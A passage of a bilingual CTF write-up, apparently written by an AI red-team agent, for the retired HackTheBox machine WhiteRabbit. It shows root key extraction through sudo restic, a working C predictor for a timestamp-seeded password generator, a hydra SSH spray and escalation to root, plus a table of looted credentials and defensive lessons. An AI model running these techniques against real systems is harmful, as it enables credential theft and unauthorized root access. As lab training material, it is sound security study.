bob@ebdce80611e9:~$ sudo /usr/bin/restic --repo /tmp/r/repo --password-file /tmp/r/p dump latest /root/morpheus
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS...
  <64 lines of key material>
-----END OPENSSH PRIVATE KEY-----
user.txt SSH no host como morpheus SSH onto the host as morpheus
ares@kali ~ user flag ▸ morpheus@host
ares@kali:~/box/whiterabbit$ chmod 600 morpheus
ares@kali:~/box/whiterabbit$ ssh -i morpheus morpheus@10.129.232.22

morpheus@whiterabbit:~$ id
uid=1001(morpheus) gid=1001(morpheus) groups=1001(morpheus),100(users)

morpheus@whiterabbit:~$ hostname
whiterabbit     # <-- não é mais container, é o host

morpheus@whiterabbit:~$ cat user.txt
6552dab792329c2a09a36db61e6d678f
★★★
user flag · morpheus@whiterabbit (host)
HTB{6552dab792329c2a09a36db61e6d678f}
▸ [07 · reverse PRNG] objdump → prever a senha do neo objdump → predict neo's password

scp binary copia binário pro kali pra estudar copy the binary to kali for analysis

Do host morpheus o binário /opt/neo-password-generator/neo-password-generator é world-readable. scp pra kali, então objdump pra ver as syscalls relevantes.

From the morpheus host, the binary /opt/neo-password-generator/neo-password-generator is world-readable. scp it to kali, then objdump to inspect the relevant syscalls.

ares@kali ~ binary analysis ▸ objdump + strings
ares@kali:~/box/whiterabbit$ scp -i morpheus morpheus@10.129.232.22:/opt/neo-password-generator/neo-password-generator .
ares@kali:~/box/whiterabbit$ file neo-password-generator
neo-password-generator: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ...

ares@kali:~/box/whiterabbit$ strings neo-password-generator | grep -E '^[a-zA-Z0-9]{20,}'
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789     # alfabeto 62 chars

ares@kali:~/box/whiterabbit$ objdump -d neo-password-generator | grep -E 'callq.*<(srand|rand|gettimeofday|time)@plt>'
  0000000000001234: callq  <gettimeofday@plt>
  0000000000001248: callq  <srand@plt>
  0000000000001260: callq  <rand@plt>     # em loop, 20 vezes
[ traduzindo o pseudocode ] Sequência identificada no objdump:
  1. gettimeofday(&tv, NULL) → tv_sec (segundos epoch) + tv_usec (microssegundos)
  2. seed = tv.tv_sec * 1000 + tv.tv_usec / 1000 → epoch milliseconds
  3. srand(seed)
  4. Loop 20 vezes: password[i] = ALPHABET[rand() % 62]
O alfabeto está na .rodata visível por strings. Implementação determinística — dado o seed em ms, a senha é única.
[ pseudocode translation ] Sequence identified in objdump:
  1. gettimeofday(&tv, NULL) → tv_sec (epoch seconds) + tv_usec (microseconds)
  2. seed = tv.tv_sec * 1000 + tv.tv_usec / 1000 → epoch milliseconds
  3. srand(seed)
  4. 20-iteration loop: password[i] = ALPHABET[rand() % 62]
The alphabet is in .rodata, visible via strings. Fully deterministic — given the seed in ms, the password is unique.
predictor replicar o gerador em C rebuild the generator in C
ares@kali ~ predictor.c ▸ 18 linhas de C
ares@kali:~/box/whiterabbit$ cat predictor.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    const char *alphabet =
        "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    unsigned long seed = strtoul(argv[1], NULL, 10);
    srand(seed);
    char password[21] = {0};
    for (int i = 0; i < 20; i++) password[i] = alphabet[rand() % 62];
    printf("%s\n", password);
    return 0;
}

ares@kali:~/box/whiterabbit$ gcc -static -o predictor predictor.c
ares@kali:~/box/whiterabbit$ # verificar paridade: rodar com seed conhecido e comparar com binário original via qemu
ares@kali:~/box/whiterabbit$ # (idempotência confirmada — chars batem 1:1)
[ atenção à libc ] glibc rand() produz sequência diferente de musl/uclibc/Windows CRT. Pra garantir paridade com o binário alvo (compilado contra glibc), compile o predictor contra glibc também — NÃO use musl (Alpine default) nem gcc -static apontando pra musl. Validar uma run com seed conhecido contra o binário original (via qemu-x86_64 se você não tem o ambiente).
[ mind the libc ] glibc rand() produces a different sequence than musl/uclibc/Windows CRT. To match the target binary (compiled against glibc), compile the predictor against glibc too — do NOT use musl (Alpine default) or gcc -static linked to musl. Validate a known-seed run against the original binary (via qemu-x86_64 if you don't have the env locally).
hydra spray 1000 candidatos × 1 segundo de janela 1000 candidates × 1-second window

Timestamp do passwd no command_log: 2024-08-30 14:40:42 UTC = epoch 1725028842. Multiplicado por 1000 = 1725028842000 ms. Pra cobrir a margem de 1 segundo (não sabemos qual ms exato), gera senhas pros 1000 valores de ms entre 1725028842000 e 1725028842999.

passwd timestamp in command_log: 2024-08-30 14:40:42 UTC = epoch 1725028842. Times 1000 = 1725028842000 ms. To cover the 1-second window (we don't know the exact ms), generate passwords for all 1000 ms values between 1725028842000 and 1725028842999.

ares@kali ~ candidate generation ▸ 1000 seeds
ares@kali:~/box/whiterabbit$ for ms in $(seq 0 999); do
>   ./predictor $((1725028842000 + ms))
> done > candidates.txt

ares@kali:~/box/whiterabbit$ wc -l candidates.txt
1000 candidates.txt

ares@kali:~/box/whiterabbit$ head -3 candidates.txt
xK9aPq7Lm3rT8Wd5Bn2v
nF4hY6jR8sW1pE3qC9oZ
WBSxhWgfnMiclrV4dqfj     # <-- só descobre quando hydra acertar

ares@kali:~/box/whiterabbit$ hydra -l neo -P candidates.txt -t 4 -f ssh://10.129.232.22

[STATUS] 1000.00 tries/min, 1000 tries in 00:01h
[22][ssh] host: 10.129.232.22   login: neo   password: WBSxhWgfnMiclrV4dqfj
[STATUS] attack finished for 10.129.232.22 (valid pair found)
root.txt neo é sudo ALL — root direto neo has sudo ALL — direct root
ares@kali ~ root ▸ ROOTED
ares@kali:~/box/whiterabbit$ sshpass -p WBSxhWgfnMiclrV4dqfj ssh neo@10.129.232.22

neo@whiterabbit:~$ sudo -l
User neo may run the following commands on whiterabbit:
    (ALL : ALL) ALL

neo@whiterabbit:~$ sudo cat /root/root.txt
ff5f33c44f118b4c99ab6dd13bea2703

neo@whiterabbit:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)
▲▲▲
root flag · root@whiterabbit
HTB{ff5f33c44f118b4c99ab6dd13bea2703}
▸ [08 · loot] o que foi capturado what was captured

Cadeia limpa — toda credencial é descartável (box retired, ambiente reseta).

Clean chain — every credential is throwaway (retired box, environment resets).

tipotype quêwhat de ondesource
flag · user 6552dab792329c2a09a36db61e6d678f /home/morpheus/user.txt · ssh morpheus@host
flag · root ff5f33c44f118b4c99ab6dd13bea2703 /root/root.txt · sudo cat como neo
hmac secret 3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS WikiJS gophish_webhooks export (public)
restic pwd ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw temp.command_log row 3 via SQLi extractvalue()
7z pwd 1q2w3e4r5t6y john + rockyou (49s)
ssh key bob ED25519 (key + config) restic snapshot 272cacd5 → bob.7z
ssh key morpheus ECDSA P-256 sudo restic dump latest /root/morpheus
password neo · WBSxhWgfnMiclrV4dqfj predicted (glibc rand seeded epoch_ms 1725028842339)
binary /opt/neo-password-generator scp from morpheus@host
▸ [09 · ttps] técnicas · ferramentas techniques · toolkit

mitre att&ck
T1595.002active scanning · vuln scanning T1190exploit public-facing application T1552.001credentials in files · wiki export T1078valid accounts T1110.002password cracking · john T1083file & directory discovery T1068exploitation for privilege escalation T1548.003abuse elevation · sudo restic T1003.008credentials from /root via backup tool T1573encrypted channel · restic chacha20 T1620reflective code loading · n/a — direct PRNG reverse
toolkit
nmap 7.95 ffuf 2.1 curl 8.5 jq 1.7 python3 · hmac restic 0.17 john 1.9.0 7z 23.01 openssh 9.6 objdump · binutils gcc 13 hydra 9.5 sshpass
▸ [10 · aprendizado][10 · lessons] três lições que essa box ensina three lessons this box teaches

lição · 01

monitoring expõe topologia — sempre

monitoring exposes topology — every time

Uptime Kuma, Grafana, Prometheus, Statuscake: todos têm rotas públicas pra status page que vazam nomes de serviços, hosts, ports. WhiteRabbit deixa um /status/temp rodando — provavelmente "temporário durante deploy" que virou permanente. Auditoria recorrente de status pages precisa entrar no checklist trimestral de qualquer SRE.

Uptime Kuma, Grafana, Prometheus, Statuscake: all of them have public status-page routes that leak service names, hosts, ports. WhiteRabbit leaves a /status/temp running — probably "temporary during deploy" that became permanent. Recurring audits of status pages need to be on every SRE's quarterly checklist.

lição · 02

backup tools em sudo NOPASSWD = leitura de root

backup tools under sudo NOPASSWD = root file read

restic, borg, tar, rsync, cpio, dump: qualquer ferramenta que lê arquivos pra arquivar roda como root, e tem comando de extração pra inverter. O resultado prático é sudo cat <qualquer>. Adicionar uma dessas em sudoers sem restringir path/args é um anti-pattern crítico. Sudoers com asterisco ("restic *") é equivalente a "ALL : ALL" pra qualquer binário de I/O.

restic, borg, tar, rsync, cpio, dump: any tool that reads files to archive runs as root, and ships with an extraction command to invert. End result: sudo cat <anything>. Adding one of these to sudoers without restricting path/args is a critical anti-pattern. Sudoers with an asterisk ("restic *") is equivalent to "ALL : ALL" for any I/O binary.

lição · 03

PRNG seedado por timestamp é cofre de papelão

timestamp-seeded PRNG is a cardboard safe

Se alguém escreveu srand(time(NULL)) em 2024, escreveu errado em 1990 também. Pra gerar credenciais, segredos, IDs, tokens: sempre use uma fonte CSPRNG do SO: /dev/urandom em Linux, BCryptGenRandom em Windows, getrandom(2), arc4random_buf. Reverse-engineer de geradores determinísticos é exercício comum em CTF justamente por ser comum em produção. Code review pra cripto deveria flagar qualquer uso de rand()/random()/Math.random() em contexto sensível.

If anyone wrote srand(time(NULL)) in 2024, they wrote it wrong in 1990 too. For generating credentials, secrets, IDs, tokens: always use an OS CSPRNG: /dev/urandom on Linux, BCryptGenRandom on Windows, getrandom(2), arc4random_buf. Reverse-engineering deterministic generators is a CTF staple precisely because it's so common in production. Crypto code review should flag any use of rand()/random()/Math.random() in a sensitive context.

▸ [11 · próxima box][11 · next box] variantes & próximos alvos variants & next targets

Se você terminou WhiteRabbit e quer treinar conceitos isolados antes da próxima Insane, essas três Mediums constroem a base:

If you've finished WhiteRabbit and want to drill isolated concepts before another Insane, these three Mediums build the foundation:

RouterSpaceeasy · linux

Web → command injection clássico → SSH chave. Sem reverse engineering, sem multi-stage. Boa pra fixar HTTP analysis + escape de input.

Web → classic command injection → SSH key. No reversing, no multi-stage. Good for drilling HTTP analysis + input escaping.

PCeasy · linux

gRPC SQLi (sqlmap funciona) + pyLoad CVE pra privesc. Mostra que SQLi não é só "via aspas em form HTML" — formatos binários também.

gRPC SQLi (sqlmap works) + pyLoad CVE for privesc. Shows that SQLi isn't only "via form HTML quotes" — binary formats too.

PivotAPIinsane · windows

A versão Windows do "multi-stage chain" — leitura de docs públicas → credenciais ocultas → SSRF → ADCS → DC. Mesma filosofia de WhiteRabbit (cadeia longa, cada etapa pequena), em Windows.

The Windows take on the "multi-stage chain" — public docs read → hidden credentials → SSRF → ADCS → DC. Same philosophy as WhiteRabbit (long chain, small steps each), but Windows.

═════════════════════════════════════════════════════════════════════════
::  ARES :: red team machine // offensive division // vultus cyber   ::
::  whiterabbit · linux · INSANE · 8-stage chain · ROOTED in 47:00   ::
═════════════════════════════════════════════════════════════════════════
  
// write-up gerado por// write-up generated by ARES · your friendly neighborhood redteam bot · vultus offensive division
[ session #0x2396F1F1 · 2026·05·24 · 124 tool calls · 7 findings · 1 dead end · model: claude-opus-4-7 ]